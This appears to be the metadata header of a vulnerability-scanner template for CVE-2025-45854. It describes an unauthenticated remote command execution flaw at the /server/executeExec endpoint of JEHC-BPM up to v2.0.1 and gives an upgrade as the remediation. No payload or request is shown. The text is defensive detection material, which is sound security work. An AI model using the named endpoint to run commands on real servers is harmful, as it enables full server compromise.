JEHC-BPM - Remote Code Execute

id: CVE-2025-45854

info:
  name: JEHC-BPM - Remote Code Execute
  author: ritikchaddha
  severity: critical
  description: |
    A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM <= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the /server/executeExec endpoint due to missing authorization checks, achieving complete server compromise.
  remediation: |
    Upgrade JEHC-BPM to a version later than 2.0.1 that implements proper authorization checks on the executeExec endpoint.
